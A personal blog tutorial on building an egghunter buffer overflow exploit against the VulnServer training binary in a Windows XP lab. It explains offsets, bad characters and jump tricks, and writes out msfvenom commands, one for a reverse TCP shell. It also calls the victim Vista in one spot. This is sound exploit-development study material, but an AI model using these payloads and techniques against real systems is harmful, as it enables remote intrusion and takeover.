Egg Hunter Buffer Overflow with Python3

During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we don’t have enough room after the EIP overwrite to execute anything worth our time (i.e., a shell, system command, etc.). An Egg Hunter is a small set of bytecode that is effectively a loop looking for a pre-defined string (that we define) in memory and when it finds that string, it will execute whatever is after. The code after our pre-defined string being our exploitation bytecode.

To put this into context, let’s say we have two FTP parameters that store data on the stack (USER, PASS). Let’s say that the PASS parameter is susceptible to a BOF attack and we can easily gain control of EIP. However, we only have maybe 20-30 bytes after the EIP overwrite to store any bytecode and that’s just not enough space to do anything useful. In comes the USER parameter. It’s not susceptible to a Buffer Overflow necessarily however, it might give us enough buffer space to store our shellcode. In this case, we would have a two-stage execution where we conduct the following:

  1. Connect to the FTP server.
  2. Send our Reverse Shell Payload in the USER parameter.
  3. Send our Egghunter plus the EIP Overwrite to JMP ESP in the PASS Parameter.

Okay, let’s dig in.



Here is the setup that is being used during the entire write-up:

  • [Attacker] Kali 2018.4 x86_64
  • [Victim] Windows XP SP3 Build 2600
  • [Vulnerable Binary] VulnServer
  • [Language] Python 3.6.6
  • [Debugger] Immunity

Some of you might be asking why Python 3? That’s fair since the python 3 socket library is different than the 2.7 library and that’s really why I am using it, to learn. The biggest difference you will note is that when you send your data to the server, it has to be in a byte object and not a string object whereas 2.7 doesn’t give a shit.



Our first goal is to identify which parameters are vulnerable but since VulnServer has a few, we’re going to start with the KSTET Parameter. In order to get a better idea on how many parameters there are, below is the available listing.

VulnServer Parameters

We send 1,000 A’s (\x41) with the KSTET parameter and we see we overflow the buffer.


Controlling EIP:

Just like we do with any BOF, let’s get the offset of EIP so we can start the process of controlling EIP.

  • pattern_create.rb -l 1000

We then verify the Immunity EIP value.

EIP Offset

And use the pattern_offset to file the true offset of EIP:

  • pattern_offset.rb -q 63413363
    • Offset = 70

Now, let’s send a new payload to do two different things. The first goal is to verify we do have control of EIP by writing all B’s into EIP and the next goal is to check how much space we have after the EIP overwrite to place our shellcode. We do this by sending 600 C’s. The new code looks like this:

Immunity shows that yes, we have control of EIP as there are now 4 B’s (\x42) residing in the EIP register, however, we only have 28 Bytes of space after the EIP overwrite. As stated in the beginning of this tutorial, that’s just not enough, we need more space.

EIP Verify

Overflow Space


Determine Bad Characters:

Before we start digging into other parameters we can place our shellcode into, let’s determine the bad characters. Here is our new code:

In looking at the bad characters, it’s apparent that we don’t have enough space to review the whole array of bytes. As such, I conducted the overflow in three separate operations:

  • Operation 1: 0x00 – 0x60
  • Operation 2: 0x60 – 0xC0
  • Operation 3: 0xC0 – 0xFF

Bad Characters were determined to be: 0x00, 0x0A, 0x0D


Finding JMP ESP:

Since I am using VISTA as the victim, there will be little to no protection (DEP,ASLR). That means we can just ask mona to look for the JMP ESP opcode (\xFF\xE4) and choose any of the results.


I’m just going to use the first result (0x7C874F13). To make sure we have full control and are able to execute the JMP ESP instruction, let’s restart the vulnserver in Immunity and set a break point at the address. Here is the new code:

And we have a successful JMP ESP.

Breakpoint Hit


Building the Egghunter:

Okay, we know that we only have about 28 Bytes after the EIP overflow to work with. That wont fit our egghunter byte code. In that case, we will inject our egghunter before the EIP overwrite and then add the instruction JMP SHORT -48 after the EIP overwrite to jump back to our egghunter. What we need to figure out now is which parameter can successfully take an input of about 350-450 bytes of data and not throw an exception or overflow the buffer. Let’s build a fuzzing script to do that for us.

Right away, we find that the GTER parameter causes an overflow. Let’s remove that and test again.  After the second test, we see that the rest of the parameters ran successfully without causing an overflow or an exception. This means that maybe, we can store our shellcode in one of these parameters and have the egghunter find it in memory. Now that we know the parameters, let’s add this to our script and build a two payload program.

To generate the egghunter code, we will use mona.

!mona egg -cpb "\x00\x0a\x0d" -t loki

Generate Egghunter

The image above shows our shellcode. The generated shellcode will also be listed in an egghunter.txt document located at C:/Program Files/Immunity Inc/Immunity Debugger.

Now let’s generate some shellcode. For testing, I am just going to send the command calc.exe. The syntax to generate this shellcode is:

msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f c

Our new script looks like this:

The script is broken down into two different stages. Each stage generates a new socket call to the vulnerable server, this is important. Also, take note to the Stage 1 s.send(). You can see I have added the b"lokiloki" to it. This is the string that the egghunter is going to look for in memory. When you generate the egg hunter with mona and read the .txt file it generates, it will explicitly tell you what text to put there. Let’s break down what is happening at each stage.

Stage 1:

In stage one, we connect to the vulnerable server and start a for loop. The for loop loops through the parameters array using each value to send the shellcode payload. We don’t know which parameter will truly hold our shellcode so hell, why not try them all! And that’s effectively what we are doing here. It’s also important to note that a 1-second time delay is necessary at the end of each loop iteration. Without that one second time delay, we outpace the server and never give it a chance to take action on the command we just sent.

Stage 2:

Stage two is where the real magic happens. We create a new socket and connect to the vulnerable server once again. This time, we send the egghunter between two sets of NOP’s, overwrite the EIP register with our JMP ESP instruction memory address, and then we have a custom instruction we wrote (\xEB\xCE) that’s loaded into the stack per our overflow and executed after the JMP ESP instruction. Let’s take a look at this instruction and why we have it in our payload.

Our egghunter shellcode is still a bit too big to be loaded after the JMP ESP. However, we know we have a total of 70 bytes before the EIP overwrite and therefore we can use that space to store our egghunter and then jump back to it with a custom instruction. In this case, I want to jump back 48 Bytes to the middle of our first NOP sled. We can use the nasm_shell.rb to give us the correct opcode to use as seen in the image below.


Let’s put a breakpoint in Immunity at our JMP ESP and step through what is going on here.


When we hit our breakpoint we jumped forward 1 instruction (F7) to get to our JMP SHORT instruction highlighted in blue in the leftmost image. When we move forward again (1 instruction) we see we jump to a lower memory address putting us 4 NOP Bytes before our egghunter. Perfect!

The egghunter is going to start a loop looking for the lokiloki string in memory in an attempt to find our shellcode and execute it. If we let the rest of the code run it’s course, we get calc.exe to pop and we know we have full code execution!



Reverse Shell:

Now that we have a fully working exploit, let’s resplace the calc.exe shellcode with a reverse shell and see what happens.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b'\x00\x0a\x0d' -f c

And, we’re Admin!

Admin Shell


Thoughts on Python3:

I decided to use Python3 for this tutorial because I use it for just about everything. That is, with the exception of exploit development. Python 2.7 is my goto for Buffer Overflow development and honestly, I think I am going to keep that the same. The subtle buy annoying nuances of making sure everything was typecast to a bytes object sucked. Many times the objects would be sent oddly and not trigger the right response I was looking for. Python 2.7 allows strings in the s.send() method which, makes things much easier to deal with.

Anyhow, Python3 is still amazing and I will use it as my daily driver, with the exception of BOF exploit development!

Happy Thanksgiving!

No Comments

Post a Comment